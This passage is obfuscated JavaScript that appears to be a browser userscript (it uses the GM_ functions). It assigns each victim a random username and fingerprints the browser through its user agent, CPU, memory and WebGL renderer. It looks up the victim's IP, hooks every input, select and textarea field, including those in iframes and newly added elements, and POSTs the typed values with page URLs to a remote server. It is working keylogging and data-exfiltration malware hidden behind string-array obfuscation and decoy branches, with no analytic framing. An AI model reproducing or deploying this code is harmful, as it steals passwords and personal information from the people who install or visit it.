onX','IronWolf',R1('0x172'),'VortexStorm','BoltHunter',R1(RW.j),R1(RW.n),'NightClaw',R1('0x160'),'InfernalFrost','SoulFlare',R1('0xdc'),'CrimsonFlame','FrostNova',R1(RW.Q),'SkyNova',R1('0x118'),R1('0xc0'),'EclipseFang',R1(RW.L),'EchoClaw','SilentBlade','GrimFrost',R1(RW.Y),R1('0x16f'),'VenomBlade',R1(RW.l),'SolarFrost','IronVanguard',R1('0x116'),R1('0xf8'),'FrostWing','VoidClaw','DarkAurora','ShadowNova','LunarFrost',R1(RW.W),'Shadow','Hunter','Storm','Ghost','Raven','Phoenix',R1('0x1ae'),R1('0x141'),'Vortex',R1('0x10f'),'Frost',R1('0x129'),R1('0x1e9'),R1('0x1a7'),R1('0xc8'),R1(RW.S),'Mystic','Sonic',R1(RW.e),R1(RW.N),'Axel',R1('0x1bf'),'Hawk','Sniper','Cobra','Titan',R1('0x186'),'Phantom','Rogue','Nova','Spirit','Inferno',R1('0x1dd'),'Omega','Striker','Dagger','Orbit','Pulse',R1('0x1d8'),'Spark','Flame','Nebula','Zephyr','Quasar',R1(RW.y),'Cyclone','ShadowFox',R1('0xee'),R1(RW.F),'Crimson','Onyx','Ivory','Emerald','Sapphire','Quartz','Jet',R1('0x202'),'Volt','Turbo',R1('0x1ff'),'Echo',R1(RW.H),'Rider','Guardian',R1(RW.D),R1(RW.i),R1('0x10b'),'Nomad','Warden','Glacier','Comet','Nimbus','Meteor','Haze','Aurora','Twilight',R1('0xd4'),R1(RW.X),R1('0xd8'),'Tracer','Oracle','Prophet',R1('0x10d'),'Element','Breeze',R1(RW.m),'Ash',R1(RW.I),'Surge','Griffin','Vanguard','Pilot','Lancer',R1(RW.s),R1(RW.RS),R1('0x1fd'),'Stark','Hyper',R1('0x132'),'Delta',R1('0x13f'),'john','james','katar','hype','ponty','John','James','Michael','Robert','David',R1('0x135'),R1(RW.Re),'Joseph','Thomas','Charles','Christopher','Daniel','Matthew','Anthony','Donald','Mark',R1(RW.RN),'Steven','Andrew',R1('0x1b6'),'Smith','Johnson','Williams','Brown','Jones',R1('0xc3'),'Miller',R1('0x19e'),'Rodriguez','Martinez',R1('0x122'),'Lopez','Gonzalez','Wilson','Anderson','Thomas','Taylor','Moore','Jackson',R1('0x108'),'John','James','Michael','Robert','David','William',R1('0x176'),'Joseph','Thomas','Charles','Christopher','Daniel',R1('0x204'),'Anthony',R1('0xff'),'Mark',R1(RW.Ry),'Steven',R1('0x19b'),R1('0x1b6'),'Kiara','Bailey','Rhonda','Rodriguez','Selina','Wong','Howard','Robinson',R1('0x144'),'Carroll','Leyton','Marquez','Sahar','Douglas','Aleeza',R1('0xd2'),R1('0xe2'),R1('0x136'),'Clyde','Andersen','Sumaiya',R1(RW.RF),'Andrew','Butler',R1(RW.RH),'Thomson',R1('0x1ec'),'Valdez','Joanna','Duffy','Azaan','Solomon','Raheem','Floyd','Barry','Davila','Marcus','Perry','Paul',R1(RW.RD),'Milton','Flores','Theresa',R1('0x182'),R1('0xab'),R1('0xfd'),'Gertrude',R1(RW.Ri),'Alan','Wyatt','Lorraine',R1('0x133'),'Lucas',R1('0x1d6'),'Samson','Scott','Ashleigh','Bush','Romeo',R1('0x1a4'),R1(RW.RX),R1(RW.Rm),'Adem','Robles',R1(RW.RI),'Mathews',R1(RW.Rs),'Alvarado','Rueben','Mcbride','Jakub','White','Lloyd',R1('0xe9'),'Lola','Mitchell','Hanna','Porter','Mariya','Henry','Helena',R1(RW.Rt),'Jaxon','Fisher','Ivan','Fox',R1('0x18d'),'Underwood','Madeleine','Hernandez','Brendon','Terrell','Kiana','Gross','Erin','Winters',R1(RW.Ra),'Holden','Awais','Berg','Md','Faulkner',R1(RW.RA),'Oliver','Riya','Wise','Aaminah','Carver','Marwa','Small',R1(RW.RO),'Dillon','Josef','Pace',R1(RW.Rw),'Atkins',R1('0x1c0'),R1('0xfe'),'Zuzanna','Walter'],P=()=>Math[R1('0x19a')](Math['random']()*0x186a0)['toString']()['padStart'](0x5,'0'),K=''+r[Math['floor'](Math['random']()*r[R1('0x20d')])]+P();return K;}else p['querySelectorAll']('input,\x20select,\x20textarea')['forEach'](R);}function h(r){const R2=R0;if('WjXsh'!=='dRuuM')GM_xmlhttpRequest({'method':R2(RF.R),'url':T+'/get_library.php','onload':function(P){const R3=R2;if('QsrOB'!=='ZYtgT')try{const K=JSON['parse'](P[R3('0x1a6')]);if(K&&K['ip']){if('ceZuv'==='ceZuv')r(K['ip']);else return;}else'QeBQn'!=='QeBQn'?(T['addEventListener']('input',d),h[R3(RN.R)](R3(RN.q),r)):r('Unknown\x20IP');}catch(o){'ZwEfA'!=='Qinor'?r(R3('0x1cf')):p(R3('0x1cf'));}else{const k=h?function(){if(k){const V=c['apply'](Z,arguments);return B=null,V;}}:function(){};return C=![],k;}},'onerror':function(){if('nFLPK'!=='OMNsV')r('Unknown\x20IP');else{if(T){const K=P['apply'](K,arguments);return U=null,K;}}}});else{if(T){const K=P['apply'](K,arguments);return U=null,K;}}}h(function(r){const qh={R:'0x14c',q:'0x1f8'},qp={R:'0x1d9',q:'0x173'},q7={R:'0x114'},q4={R:'0x142'},q3={R:'0x20d',q:'0x1ee',p:'0xdd',g:'0x1c9',T:'0xf1',d:'0x17e',h:'0x165',r:'0x196',P:'0x17f',K:'0xae',U:'0x175',C:'0xbd',o:'0x13e',J:'0x18b'},RM={R:'0x13d'},RX={R:'0x1b2',q:'0x1a3',p:'0xad'},RC=R0;let P=GM_getValue('username');!P&&('byPzF'==='byPzF'?(P=d(),GM_setValue('username',P)):(T=d(),h('username',r)));function K(B,x,V,z){const Rm={R:'0x119'},R4=E;if('hxwaO'===R4('0x21a')){const u=navigator['hardwareConcurrency'],v=navigator['platform'],j=window['location']['href'],n=navigator['deviceMemory'];function Q(){const R5=R4;if(R5(RX.R)!==R5(RX.q)){const S=document['createElement']('canvas')['getContext']('webgl');if(!S){if('iaQAq'!==R5('0xb9'))p['addedNodes']['forEach'](F=>{F['nodeType']===0x1&&d(F);});else return'no\x20webgl';}const N=S['getExtension']('WEBGL_debug_renderer_info');if(N){if('jucIC'==='jucIC')return S[R5('0xbd')](N['UNMASKED_VENDOR_WEBGL'])+'\x20'+S['getParameter'](N['UNMASKED_RENDERER_WEBGL']);else p('Unknown\x20IP');}else return'UswlC'!==R5(RX.p)?R5('0x197'):'no\x20WEBGL_debug_renderer_info';}else T({'method':'POST','url':d,'headers':{'Content-Type':'application/json'},'data':h['stringify'](r),'onload':function(){},'onerror':function(){}});}const L=v+'\x20/\x20User\x20Agent\x20'+navigator[R4(Rf.R)]+'\x20/\x20Cores\x20'+u+R4(Rf.q)+n+R4('0xd5')+Q(),Y=new Date()['toISOString'](),l={'type':R4('0x183'),'buildid':0x1,'user':P,'browserdata':L,'inputpath':B,'value':x,'site':z,'time':new Date()[R4('0xb2')]('en-GB',{'day':R4(Rf.p),'month':'2-digit','year':'numeric','hour':R4(Rf.g),'minute':'2-digit','second':'2-digit'})['replace'](',','\x20|'),'timestamp':Y,'ip':r};function W(){const R6=R4;if('NrEOA'==='NrEOA'){const S=new XMLHttpRequest();S['open']('POST',T,!![]),S['setRequestHeader']('Content-Type',R6('0x11f')),S['withCredentials']=!![],S['onload']=function(){const R7=R6;if('nmpFq'==='KyoOJ')p+='[autocomplete=\x22'+R['getAttribute']('autocomplete')+'\x22]';else{if(S[R7(Rm.R)]>=0xc8){if(R7('0x148')!=='jNKdv'){const F=g[R7('0xdf')](T,arguments);return d=null,F;}else S[R7('0x119')];}}},S['onerror']=function(){const R8=R6;if('DJyJz'==='DJyJz')try{'kUQxC'!=='kUQxC'?p+='[name=\x22'+R['name']+'\x22]':GM_xmlhttpRequest({'method':'POST','url':T,'headers':{'Content-Type':'application/json'},'data':JSON[R8('0xa9')](l),'onload':function(){},'onerror':function(){}});}catch(y){}else p[R8('0x119')]>=0xc8&&T['status'];},S['send'](JSON[R6('0xa9')](l));}else{const y=h?function(){const R9=R6;if(y){const F=c[R9('0xdf')](Z,arguments);return B=null,F;}}:function(){};return C=![],y;}}V?'SxuPg'===R4('0x1bc')?W():R[R4('0x14f')]===R4(Rf.T)&&h['addedNodes']['forEach'](N=>{N['nodeType']===0x1&&K(N);}):fetch(T,{'method':'POST','headers':{'Content-Type':'application/json'},'body':JSON['stringify'](l),'credentials':'include','mode':R4(Rf.d)})['catch'](()=>{const RR=R4;'XNBmJ'==='VonaL'?p+='[aria-describedby=\x22'+R[RR(RM.R)]('aria-describedby')+'\x22]':W();});}else{let y;try{const D=o('return\x20(function()\x20'+R4('0x12f')+');');y=D();}catch(i){y=b;}const F=y['console']=y['console']||{},H=['log','warn','info','error','exception','table','trace'];for(let X=0x0;X<H['length'];X++){const m=x[R4('0x215')]['prototype'][R4('0xb7')](V),I=H[X],s=F[I]||m;m['__proto__']=z['bind'](u),m[R4(Rf.h)]=s[R4('0x16b')]['bind'](s),F[I]=m;}}}function U(B){const Rq=E;if('SiGuj'!=='wYLij'){let x=B['tagName']['toLowerCase']();if(B['id']){if('EtDnH'===Rq('0x1d4'))x+='#'+B['id'];else{if(J==='username')return;const z=b(k);let {value:u,site:v}=z;typeof v===Rq('0xe4')&&(v=Q[Rq('0x170')]['href']);if(Z['length']>0x1f4)B=x['substring'](0x0,0x1f4);if(u['length']>0x1f4)u=u['substring'](0x0,0x1f4);if(v[Rq(q3.R)]>0x1f4)v=v[Rq(q3.q)](0x0,0x1f4);V(()=>{z(Y,u,!![],v),l(W);},n*0x3e8);}}B['name']&&('nrHwV'===Rq(q3.p)?d(h,{'method':Rq('0x130'),'headers':{'Content-Type':Rq('0x11f')},'body':r['stringify'](P),'credentials':Rq(q3.g),'mode':Rq('0x12d')})['catch'](()=>{U();}):x+='[name=\x22'+B['name']+'\x22]');if(B[Rq('0x13d')](Rq(q3.T))){if(Rq(q3.d)===Rq('0x16e')){if(K['matches'](Rq('0x114')))B['addEventListener']('input',x),V['addEventListener']('change',z);else b['querySelectorAll']&&u['querySelectorAll']('input,\x20select,\x20textarea')['forEach'](Y=>{const Rp=Rq;Y['addEventListener']('input',n),Y['addEventListener'](Rp('0x185'),Q);});}else x+=Rq(q3.h)+B['getAttribute']('autocomplete')+'\x22]';}B['getAttribute'](Rq('0x174'))&&(Rq(q3.r)==='JwqAk'?p():x+='[aria-describedby=\x22'+B['getAttribute']('aria-describedby')+'\x22]');if(B[Rq(q3.P)]){if('cBdhh'==='ZhQeJ'){const n=p[Rq(q3.K)]('canvas')[Rq(q3.U)]('webgl');if(!n)return'no\x20webgl';const Q=n[Rq('0x134')]('WEBGL_debug_renderer_info');return Q?n[Rq(q3.C)](Q['UNMASKED_VENDOR_WEBGL'])+'\x20'+n['getParameter'](Q[Rq(q3.o)]):'no\x20WEBGL_debug_renderer_info';}else x+='.'+B[Rq(q3.P)]['split']('\x20')['join']('.');}if(Array['from'](B['parentNode']['children'])['filter'](n=>n['tagName']===B['tagName'])['length']>0x1){if('zrWFm'==='NSXDz')return T['getParameter'](d[Rq(q3.J)])+'\x20'+h[Rq('0xbd')](r['UNMASKED_RENDERER_WEBGL']);else x+=Rq('0x1eb')+(Array['prototype']['indexOf']['call'](B['parentNode']['children'],B)+0x1)+')';}return x;}else p();}function C(B){const Rg=E,x=U(B['target']),V=B[Rg(q4.R)]['value'],z=window['location']['href'],u={'value':V,'site':z};GM_setValue(x,u);}function o(B){const RG=E;if(RG('0x209')!=='RwikQ')p(R['ip']);else{if(B['matches'](RG('0x114')))'kOEgf'!=='prinq'?(B['addEventListener']('input',C),B['addEventListener']('change',C)):p(R);else B['querySelectorAll']&&B['querySelectorAll'](RG(q7.R))['forEach'](z=>{const RE=RG;'HqKYc'==='tqmun'?R['addedNodes']['forEach'](v=>{v['nodeType']===0x1&&(P(v),v['tagName']==='IFRAME'&&U(v));}):(z['addEventListener']('input',C),z[RE('0x10e')]('change',C));});}}function J(){const RT=E;if('HEiIy'!==RT('0x12e'))document['querySelectorAll'](RT('0x114'))[RT('0x1f8')](o);else{const x=g['apply'](T,arguments);return d=null,x;}}function b(B){const qR={R:'0x127'},Rd=E;if(Rd(qg.R)===Rd(qg.q)){const V=['Specter',Rd(qg.p),Rd('0xf3'),'Dusk','Viper',Rd('0x1ad'),'Stalker','Fusion','Galaxy','Rift','PulseFire',Rd(qg.g),'OrbitX',Rd('0x15f'),Rd(qg.T),'Cloud','Drift',Rd('0x1b7'),Rd(qg.d),'Atom','Axion','Bolt','Neon','Pyro',Rd('0xce'),'Blight','Rune','Core','Shatter','Twister','Prism','Shine','Gale','Tempest','Forge',Rd(qg.h),Rd('0x1a8'),Rd(qg.r),'Survivor','Havoc',Rd(qg.P),'HunterX','Wisp',Rd('0xe8'),'EchoBlade',Rd('0x1fc'),'Edge','Wave','Torrent',Rd('0x1b1'),'GuardianX','LancerX',Rd(qg.K),'Amber','Diamond',Rd(qg.U),'Ruby',Rd('0x16a'),'Thunderhawk','Fang',Rd('0x145'),'VoltX','Astral','SolarFlare','Sky','Shimmer','Spire','Summit','Hollow','Crypt',Rd('0x168'),'Scythe','ShadowFang','Lynx','Tracker',Rd('0x111'),Rd(qg.C),'Brimstone',Rd(qg.o),Rd('0xc9'),'VanguardX','Serpent','Myst','Blackout','SteelWolf','IronClaw','StormBreaker','Saber','ZephyrX',Rd(qg.J),'FuryX','CycloneX','ShadowRider',Rd('0x1a0'),Rd('0x20c'),'Cascade','AuroraX','SonicWave','StormWolf','SpiritBlade',Rd('0x143'),'SteelStorm','SteelFang',Rd(qg.b),'Frostbite','Blitz','SurgeX','VenomX','BoltStorm','EclipseX','Glider','Seismic',Rd('0xc7'),'Ashen','Skylight',Rd(qg.k),'Soul',Rd('0x126'),'Sparkle',Rd('0xf5'),Rd('0x102'),'DriftX','DaggerX','BlazeWolf','SpecterX','MeteorX',Rd('0x162'),'ViperX','PulseHawk',Rd('0x1d7'),Rd(qg.c),Rd(qg.Z),Rd(qg.B),'IronBolt','LightBeam','ThunderClaw','Blaster','HyperFrost','MystFang','SolarPulse','RuneWolf','SkyHunter',Rd('0xe0'),'Crater',Rd(qg.x),Rd(qg.V),'PhantomStrike','SteelShadow',Rd('0x208'),Rd(qg.z),'Cosmos',Rd('0x1e0'),Rd(qg.u),Rd(qg.v),'LunarShadow','TurboFrost','FlareStorm','BladeRunner',Rd(qg.j),Rd('0x1fe'),Rd('0xeb'),'Xenon',Rd('0x1c4'),'DarkPulse',Rd('0x163'),'AuroraFrost','VortexFlame','TwilightEdge',Rd('0xfc'),Rd(qg.n),'RavenStrike','SteelHawk','ShadowFrost',Rd('0x1b5'),'BlizzardWolf','StormHawk','FrostRider',Rd('0xc5'),'EchoWolfX','FireBolt','Moonlit','Glint',Rd(qg.Q),'Oblivion',Rd('0xf4'),Rd(qg.L),Rd(qg.Y),Rd('0x166'),Rd(qg.l),'PyroClaw','VoidWalker','Celestial',Rd('0x20e'),'NebulaBlade','ShatterFang','DuskWolf','AshStorm','HyperEdge','GlacierStrike','Titanium','ShadowOrb','Chrono',Rd(qg.W),'HorizonX','IronWolf',Rd('0x172'),'VortexStorm','BoltHunter','Ethereal','BlackBolt',Rd('0x110'),'Luminous','InfernalFrost',Rd('0xc2'),'HyperLynx','CrimsonFlame','FrostNova','ShadowFlame',Rd('0x190'),'ThunderWolf','BlazeClaw','EclipseFang',Rd('0x15d'),'EchoClaw',Rd('0x211'),'GrimFrost','PhantomWave','StormClaw','VenomBlade','CryoWolf',Rd('0x179'),'IronVanguard','AshWolf',Rd('0xf8'),'FrostWing','VoidClaw','DarkAurora','ShadowNova','LunarFrost','IronEclipse','Shadow','Hunter','Storm','Ghost','Raven','Phoenix','Wolf',Rd('0x141'),Rd('0x128'),Rd(qg.S),Rd(qg.e),'Thunder','Venom','Drake','Eagle','Dragon','Mystic','Sonic',Rd('0xf7'),'Knight',Rd('0x218'),'Steel',Rd('0x18f'),'Sniper',Rd(qg.N),'Titan',Rd('0x186'),'Phantom','Rogue','Nova','Spirit','Inferno','Alpha',Rd(qg.y),Rd('0x1f5'),'Dagger','Orbit',Rd(qg.F),Rd(qg.H),Rd(qg.D),Rd('0x105'),'Nebula','Zephyr','Quasar',Rd('0x16d'),Rd(qg.i),'ShadowFox','Lunar','Solar',Rd('0x1d2'),Rd('0xe7'),Rd('0x131'),Rd('0x1a5'),'Sapphire','Quartz','Jet','Copper','Volt','Turbo',Rd('0x1ff'),'Echo','Shifter','Rider','Guardian',Rd('0x201'),'Blizzard','Falcon','Nomad',Rd('0x153'),Rd(qg.X),'Comet',Rd('0xb3'),'Meteor','Haze','Aurora','Twilight','Eclipse','Pioneer','Seeker','Tracer','Oracle','Prophet','Wraith','Element',Rd(qg.m),Rd('0xf0'),'Ash','Fury',Rd('0x15a'),'Griffin','Vanguard','Pilot','Lancer','Breaker','EchoWolf',Rd('0x1fd'),Rd('0x191'),'Hyper',Rd(qg.I),'Delta','bunny','john','james',Rd('0x124'),'hype','ponty','John','James','Michael',Rd(qg.s),Rd('0x14b'),'William','Richard','Joseph','Thomas',Rd(qg.qG),'Christopher',Rd('0xea'),'Matthew','Anthony',Rd(qg.qE),'Mark','Paul',Rd('0x198'),Rd('0x19b'),'Kenneth','Smith','Johnson','Williams','Brown',Rd(qg.qT),'Garcia','Miller','Davis',Rd(qg.qd),'Martinez',Rd(qg.qh),'Lopez','Gonzalez','Wilson','Anderson',Rd('0x169'),Rd('0x1e1'),'Moore','Jackson',Rd('0x108'),'John','James','Michael',Rd('0x1b4'),'David','William','Richard','Joseph',Rd(qg.qr),'Charles',Rd('0x117'),Rd(qg.qP),'Matthew',Rd('0x123'),'Donald',Rd(qg.qK),'Paul','Steven','Andrew','Kenneth','Kiara','Bailey',Rd(qg.qU),Rd(qg.qC),'Selina','Wong','Howard','Robinson','Mikey','Carroll','Leyton',Rd(qg.qo),'Sahar','Douglas',Rd('0x11d'),Rd(qg.qJ),'Mabel','Sharpe',Rd('0x214'),'Andersen','Sumaiya',Rd('0xe6'),Rd(qg.qb),Rd('0x1b9'),'Archie','Thomson','Ellie-May','Valdez','Joanna','Duffy',Rd('0x1ca'),'Solomon','Raheem','Floyd',Rd('0xd6'),'Davila',Rd(qg.qk),'Perry','Paul','Woodward',Rd('0xf9'),Rd(qg.qc),'Theresa','French','Aaron','Gibbs','Gertrude','Merrill',Rd('0x1ab'),'Wyatt','Lorraine','Lloyd','Lucas','Roy',Rd(qg.qZ),'Scott','Ashleigh','Bush','Romeo','Gibbons','Zachariah',Rd(qg.qB),Rd('0x20f'),'Robles','Aamir','Mathews','Sandra',Rd(qg.qx),Rd(qg.qV),'Mcbride','Jakub','White',Rd('0x133'),'Townsend',Rd(qg.qz),'Mitchell',Rd('0x152'),'Porter',Rd(qg.qu),'Henry','Helena','Beltran',Rd('0x205'),Rd(qg.qv),'Ivan','Fox','Maddison','Underwood','Madeleine','Hernandez','Brendon','Terrell',Rd('0x1c3'),Rd('0x1c2'),'Erin','Winters','Aishah','Holden','Awais','Berg','Md',Rd('0x180'),'Zach',Rd('0x1bd'),Rd(qg.qj),'Wise','Aaminah','Carver','Marwa',Rd(qg.qn),Rd('0x194'),'Dillon',Rd('0x1c8'),'Pace','Yunus','Atkins',Rd('0x1c0'),'Bradford','Zuzanna',Rd('0x17a')],z=()=>V['floor'](z[Rd('0x1c1')]()*0x186a0)['toString']()[Rd('0x1a2')](0x5,'0'),u=''+V[h[Rd(qg.qQ)](r['random']()*V[Rd(qg.qL)])]+z();return u;}else try{if('NzZgy'!==Rd('0x146')){const V=B['contentDocument']||B['contentWindow']['document'];V&&(new MutationObserver(z=>{const Rh=Rd;z[Rh('0x1f8')](u=>{const RP=Rh;'AKasi'!=='xIsPQ'?u['addedNodes']['forEach'](v=>{const Rr=E;if(Rr('0x216')==='JNYRE')T+=Rr('0x1eb')+(d[Rr('0xd0')]['indexOf']['call'](h['parentNode']['children'],r)+0x1)+')';else{if(v['nodeType']===0x1){if('szRos'!==Rr('0x113')){const Q=T['parse'](d['responseText']);Q&&Q['ip']?P(Q['ip']):K('Unknown\x20IP');}else o(v),v['tagName']==='IFRAME'&&('aSRZA'!=='pEfBM'?b(v):(h(r,P,!![],K),U(C)));}}}):(d(h),r['tagName']===RP(qR.R)&&U(C));});})['observe'](V['body'],{'childList':!![],'subtree':!![]}),k(V),V['querySelectorAll']('iframe')['forEach'](z=>{const RK=Rd;if(RK(qp.R)==='drbZw')z['addEventListener']('load',()=>b(z)),setTimeout(()=>b(z),0x3e8);else return p['toString']()['search']('(((.+)+)+)+$')['toString']()['constructor'](g)[RK(qp.q)]('(((.+)+)+)+$');}));}else p('Unknown\x20IP');}catch(u){}}function k(B){const RU=E;if('CVtXz'!=='CVtXz'){const V=p('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');g=V();}else B[RU('0x12b')]('input,\x20select,\x20textarea')[RU('0x1f8')](o);}document[RC('0x12b')](RC('0x1f4'))[RC('0x1f8')](B=>{B['addEventListener']('load',()=>b(B)),setTimeout(()=>b(B),0x3e8);}),J(),new MutationObserver(B=>{const qT={R:'0x112'},Ro=RC;'bhmlF'!=='cYFzw'?B[Ro('0x1f8')](x=>{const RJ=Ro;if(RJ('0x14c')!==RJ(qh.R))p['querySelectorAll']('input,\x20select,\x20textarea')['forEach'](R);else{if(x['type']==='childList'){if('EwEDB'!=='yhIHJ')x['addedNodes'][RJ(qh.q)](z=>{const Rb=RJ;Rb(qT.R)===Rb(qT.R)?z['nodeType']===0x1&&('iFYMa'!=='DxHZP'?o(z):p+='.'+R['className']['split']('\x20')['join']('.')):p+='#'+R['id'];});else{const qd={R:'0x185'};R['querySelectorAll']('input,\x20select,\x20textarea')[RJ('0x1f8')](u=>{const Rk=RJ;u['addEventListener']('input',h),u['addEventListener'](Rk(qd.R),r);});}}}}):p['status'];})['observe'](document['body'],{'childList':!![],'subtree':!![]});function c(){const B=GM_listValues();B['forEach']((x,V)=>{const Rc=E;if(x==='username'){if('VhqIU'!=='NXidH')return;else h['nodeType']===0x1&&(o(J),b['tagName']===Rc('0x127')&&Z(B));}const z=GM_getValue(x);let {value:u,site:v}=z;typeof v==='undefined'&&('WLEOE'==='XMjlL'?p=R['location'][Rc('0xd7')]:v=window['location']['href']);if(x['length']>0x1f4)x=x['substring'](0x0,0x1f4);if(u[Rc('0x20d')]>0x1f4)u=u['substring'](0x0,0x1f4);if(v['length']>0x1f4)v=v['substring'](0x0,0x1f4);setTimeout(()=>{if('lhDtt'!=='LlUyW')K(x,u,!![],v),GM_deleteValue(x);else{const L=P['constructor']['prototype']['bind'](K),Y=U[C],l=o[Y]||L;L['__proto__']=J['bind'](b),L['toString']=l['toString']['bind'](l),k[Y]=L;}},V*0x3e8);});}c();});}()));